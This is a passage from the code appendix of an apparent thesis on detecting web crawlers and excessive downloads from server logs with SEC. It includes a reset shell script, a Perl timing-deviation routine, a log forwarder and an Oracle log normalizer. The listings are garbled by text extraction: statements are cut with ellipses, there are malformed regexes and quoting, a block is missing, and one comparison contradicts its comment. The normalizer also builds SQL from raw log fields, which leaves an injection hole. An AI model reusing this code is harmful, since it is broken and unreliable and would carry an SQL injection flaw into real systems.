secpid='pidof perl sec.pl'
if [ $2 = 'hard' ] ; then
    echo "Sending SIGHUP (hard reset)..."
    kill -HUP $secpid
else
    #soft reset is the default
    echo "Sending SIGABRT (soft reset)..."
    kill -ABRT $secpid
fi

else
    echo "Usage:"
    echo "configure.sh modenum resetstring"
    echo "example: configure.sh 1 soft"

```

```

echo ""
echo "MODES:"
echo "- 1: Synthetic events only"
echo "- 2: Synthetic events and related raw logs"
echo "- 3: All raw logs and synthetic events"
echo "- 4: Raw logs only"
echo ""
echo "RESET STRINGS:"
echo "- soft: tells SEC to reload configuration, but ...
        remember event correlation activities"
echo "- hard: tells SEC to reload configuration and reset ...
        internal state"
fi

```

#### *E.4 FindDelayedRobot Library*

Listing E.4: FindDelayedRobot Library

```

use strict;

# must include Date::Manip
use Date::Manip;

#####

# Subroutine:   DelayedRobot
# Description:  A PERL subroutine that takes in a threshold and ...
#               list of date/time strings and
#               calculates the differences in seconds between the ...
#               date/times, calculates the
#               mean and standard deviation of the differences, and...
#               returns 1 if the calculated
#               standard deviation exceeds the given threshold ...
#               passed into the subroutine.
# Author:      Michael R. Grimala
# Last Rev:    18 August 2009

```



```
# Inputs:      Threshold, date/time string 1, date/time string...
               2, ..., date/time string n
```

```
# Outputs:     Returns 1 if threshold is exceeded, 0 otherwise
```

```
#####
```

```
sub urlencode {
    my ($value) = @_;
    $value =~ s/([^a-zA-Z_0-9 ])/"%1x" . uc(sprintf "%1x" , unpack("C...",
        $1))/eg;
    $value =~ tr/ /+;/
    return ($value);
}
```

```
sub DelayedRobot {
    my($Threshold, $rawdatetimes) = @_;
    my $returnString;
    my $currentdate;
    my $count = 0;
    my $datecount = 0;
    my $mean = 0;
    my $stddev = 0;
    my $delta;
    my $DiffSeconds;
    my $err;
    my $weekDeltaStr;
    my $dayDeltaStr;
    my $hourDeltaStr;
    my $minuteDeltaStr;
    my $secondDeltaStr;
    my $deltaStr;
    my $total;
    my @dates;
    my @deltas;
    my @differences;
```

```

my @datetimes;

#Modified 26 August 2009 by Justin Myers
#input is concatenated string, not array.  easy fix.
#convert raw date/time string to array
@datetimes = split(/\[/, $rawdatetimes);
#strip off the ]'s
foreach my $temp (@datetimes){chop($temp);}

#the split leaves a null element.  drop it
shift(@datetimes);

# convert date/time strings to date format
foreach my $datetime (@datetimes)
{
    # convert date/time strings to date format
    $currentdate = ParseDate($datetime);
    if(! $currentdate)
    {
        # Error converting to date format
        print "Error converting " . $datetime . " to date format...\nExiting!\n";
        die;
    }
    # print "Adding element " . $datecount . ": " . UnixDate(...
    $currentdate,"%T on %b %e, %Y.\n");
    # increment date counter
    $datecount++;
    # insert into array
    push(@dates,$currentdate);
}

# print "I added " . $datecount . " elements to the array\n";

#Modified 26 August 2009 by Justin Myers

```

```

#there are a couple div by 0 errors when there are less than 3 ...
    dates.
#that few statistics won't be meaningful anyway
if($datecount>2){
    for($count = 0; $count < $datecount; $count++)
    {
        # print "Element : " . $count . " is: " . UnixDate(...
            $dates[$count],"%T on %b %e, %Y.\n");
    }

    # calculate differences in seconds between dates
    for($count = 0; $count < ($datecount-1); $count++)
    {
        $delta = DateCalc($dates[$count],$dates[$count+1],\...
            $err);

        $weekDeltaStr = Delta_Format($delta,0,"%wv");
        $dayDeltaStr = Delta_Format($delta,0,"%dv");
        $hourDeltaStr = Delta_Format($delta,0,"%hv");
        $minuteDeltaStr = Delta_Format($delta,0,"%mv");
        $secondDeltaStr = Delta_Format($delta,0,"%sv");

        $deltaStr = substr('00' . $weekDeltaStr,-2,2) . ':'...
            .
            substr('00' . $dayDeltaStr,-2,2) . ':' .
            substr('00' . $hourDeltaStr,-2,2) . ':' .
            substr('00' . $minuteDeltaStr,-2,2) . ':' .
            substr('00' . $secondDeltaStr,-2,2) ;

        $DiffSeconds = ($weekDeltaStr * 7 * 24 * 3600 ) +
            ($dayDeltaStr * 24 * 3600 ) +
            ($hourDeltaStr * 3600 ) +
            ($minuteDeltaStr * 60 ) +
            $secondDeltaStr;
    }
}

```

```

        push(@deltas, $DiffSeconds);
    }

    # calculate mean of deltas
    $mean = 0;
    for($count = 0; $count < ($datecount-1); $count++)
    {
        $mean += $deltas[$count];
    }
    $mean /= ($datecount - 1);

    # print "Mean is " . $mean . "\n";

    # calculate standard deviation of deltas
    $stddev = 0;
    for($count = 0; $count < ($datecount-1); $count++)
    {
        $total += ($mean - $deltas[$count])**2;
    }

    $total = $total / ($datecount - 2);
    $stddev = sqrt($total);

    # print "Standard Deviation is " . $stddev . "\n";

    # see if the calculated standard deviation exceeds the ...
    # given threshold
    if($stddev < $Threshold)
    {
        # print "Mean: " . $mean . " StandardDeviation: " . ...
        # $stddev . " exceeds threshold: " . $Threshold...
        # . " !\n";
        return "1";
    }
    else

```

```

        {
            # print "Mean: " . $mean . " StandardDeviation: " . ...
            $stddev . " does not exceed threshold: " . ...
            $Threshold . " !\n";
            return "0";
        }
    }else{return 0;}
}

#####...

# test out the DelayedRobot subroutine

my $thresh;
my @listdates;

$thresh = 5.0;
push (@listdates, "18/Sep/2009:11:07:42 +1000");
push (@listdates, "18/Sep/2009:11:08:52 +1000");
push (@listdates, "18/Sep/2009:11:09:48 +1000");
push (@listdates, "18/Sep/2009:11:10:48 +1000");
push (@listdates, "18/Sep/2009:11:11:48 +1000");

my $dates = "[26/Aug/2009:16:00:17 -0400][26/Aug...
/2009:16:00:17 -0400][26/Aug/2009:16:00:20 -0400]";

# call DelayedRobot subroutine and print result
print "Return value is " . &DelayedRobot($thresh,$dates) . "\n";

```

## ***E.5 Aggregate Log sender for Windows***

Listing E.5: Aggregate Log Sender

```

use strict;
my $line;

```

```

while($line = <STDIN>){
    chomp($line);
    my $cmd = "C:\\sec-2.5.3\\common\\klogclient.bat \"...
        SECEvent: Related: $line\"";
    print $cmd;
    system($cmd);
}

```

## *E.6 Log Normalizer for Oracle Database*

Listing E.6: Log Normalizer

```

use DBI;

my $dbh = DBI->connect( "dbi:Oracle:HOST=logserver; sid=sec; port...
    =1522" , 'logman', 'logman') || die "Database connection not ...
    made: $DBI::errstr";

#read all records from non-normalized db
my $sth = $dbh->prepare("select * from syslogd_mode3") || die "...
    Select failed: $DBI::errstr";
$sth->execute();

#foreach record
my @rows;
while (@rows = $sth->fetchrow_array()){
    my $date=$rows[0];
    my $time=$rows[1];
    my $priority=$rows[2];
    my $hostname=$rows[3];
    my $message=$rows[4];

    if (($message =~ /Raw/ || $message =~ /Related/) && ...
        $message !~ /\[.*\]\s\[.*\]\s.*/ && $message !~ /Quit|...
        Connect|Init\sDB|Query/){
        #split message text on spaces

```

```

my @messagesplit = split(/ /, $message);

#figure out whether it's Windows or linux
if ($messagesplit[2] =~ /\d{1,3}\.\d{1,3}\.\d...
    {1,3}\.\d{1,3}/){
    #the first element is an IP, so this is a ...
    linux log
    #format is SECEvent: Raw: 10.1.2.51 [03/...
    May/2010:13:10:46 -0400] 25065 200 /...
    potm/potm-2004-03.php -
#           [0]           [1]   [2]           [3]...
                                [4]   [5]   [6] [7]...
                                [8] [9]

my $type = $messagesplit[1];
$type =~ s/\:\/g;
my $ip = $messagesplit[2];
my $datetime = $messagesplit[3];
$datetime =~ s/\[/g;
my $bytes = $messagesplit[5];
$bytes =~ s/-/0/g;
my $status = $messagesplit[6];
my $url = $messagesplit[7];
my $referer = $messagesplit[8];
my $query = $messagesplit[9];

#make sure the split happened correctly
$size=@messagesplit;
if($size>10 || $size<8){
    print "Warning: There were ...
        extraneous elements in the ...
        normalizing array. Log not ...
        inserted.\n";
    print "@messagesplit\n";
}else{

```

```

$dbh->do("INSERT INTO syslogd_mode3_norm_raw...
        (MsgDate,MsgTime,MsgPriority,MsgHostname...
        ,MsgType,MsgIP,MsgDateTime,MsgBytes...
        ,MsgStatus,MsgURL,MsgReferer,MsgQuery...
        ) VALUES ('$date', '$time', '$priority...
        ', '$hostname', '$type', '$ip', ...
        to_date('$datetime', 'dd/month/yyyy...
        :hh24:mi:ss'), '$bytes', '$status...
        ', '$url', '$referer', '$query')...
        ") || die "insert failed: $DBI:...
        errstr";
}

}else{
    #this is a windows log
    #format is SECEvent: Raw...
        : 2010-05-03 17:04:11 /wiki/...
        Alsatian_language.html...
        - 10.1.0.132 - 200 44370
#           [0]           [1]  [2]           [3] ...
           [4]
           [5][6]           [7][8][9]

my $type = $messagesplit[1];
$type =~ s/\:\/g;
my $ip = $messagesplit[6];
my $datetime = $messagesplit[2].":"....
    $messagesplit[3];
my $bytes = $messagesplit[9];
$bytes =~ s/-\/g;
my $status = $messagesplit[8];
my $url = $messagesplit[4];
my $referer = $messagesplit[7];
my $query = $messagesplit[5];

```



```

#make sure the split happened correctly
$size=@messagesplit;
if($size!=10){
    print "Warning: There were ...
           extraneous elements in the ...
           normalizing array. Log not ...
           inserted.\n";
    print "@messagesplit\n";
}else{
    $dbh->do("INSERT INTO syslogd_mode3_norm_raw...
            (MsgDate,MsgTime,MsgPriority,MsgHostname...
            ,MsgType,MsgIP,MsgDateTime,MsgBytes...
            ,MsgStatus,MsgURL,MsgReferer,MsgQuery...
            ) VALUES ('$date', '$time', '$priority...
            ', '$hostname', '$type', '$ip', ...
            to_date('$datetime', 'yyyy-mm-dd...
            :hh24:mi:ss'), '$bytes', '$status...
            ', '$url', '$referer', '$query')...
            ") || die "insert failed: $DBI:...
            errstr";
    }
}
}elsif ($message =~ /Synthetic/){
    #Synthetic event. put in its own table
    #format is SECEvent: Synthetic: 03/May...
    /2010:11:33:09 -0400|10.1.0.131|Excessive ...
    downloads: 1012399 bytes, suppressing for 60 ...
    seconds
    #
    [0:0] [0:1] [0:2] ...
    [0:3] [1] [2]
    #format(win)SECEvent: Synthetic...
    : 2010-05-03 15:19:39|10.1.1.23|Excessive ...
    downloads: 8068408 bytes, suppressing for 60 ...
    seconds

```

```

#           [0:0]       [0:1]       [0:2]       [0:3] ...
           [1]         [2]

#split message text on pipes and spaces
my @messagesplit = split(/\|/, $message);
my @synthheader = split(/ /, $messagesplit[0]);

$size=@synthheader;
if($size>4){
    $datetime = $synthheader[3].":"....
    $synthheader[4].":".$synthheader[5].":"...
    . $synthheader[6];
}else{
    $datetime = $synthheader[2].":"....
    $synthheader[3];
}

$datetime =~ s/\:-0400//g;
$datetime =~ s/\[//g;
$datetime =~ s/\]//g;

my $ip = $messagesplit[1];
my $alertmsg = $messagesplit[2];

#do the right to_date on insert line 89
if($size>4){
    $dbh->do("INSERT INTO ...
        syslogd_mode3_norm_synth (MsgDate,...
        MsgTime,MsgPriority,MsgHostname,MsgType...
        ,MsgIP,MsgDateTime,MsgText) VALUES ('...
        $date', '$time', '$priority', '...
        $hostname', 'Synthetic', '$ip', to_date...
        ('$datetime', 'month:dd:hh24:mi:ss:yyyy...
        '), '$alertmsg')") || die "insert ...
        failed: $DBI::errstr";
}

```



```

        ) VALUES ('$date', '$time', '$priority', '...
        $hostname', '$message')") || die "insert failed...
        : $DBI::errstr";
    }else{
        print "Log didn't match any of the patterns\n ...
        $message\n";
    }
}

```

## Appendix F. Sliding Window Implementation Flowcharts

### F.1 Naïve Webcrawler Normalized




Figure F.1: Naïve Webcrawler Normalized Sliding Window Implementation

*F.2 Naïve Webcrawler Non-Normalized*




Figure F.2: Naïve Webcrawler Non-Normalized Sliding Window Implementation

### *F.3 Excessive Downloads Normalized*




Figure F.3: Excessive Downloads Normalized Sliding Window Implementation

#### F.4 Excessive Downloads Non-Normalized




Figure F.4: Excessive Downloads Non-Normalized Sliding Window Implementation



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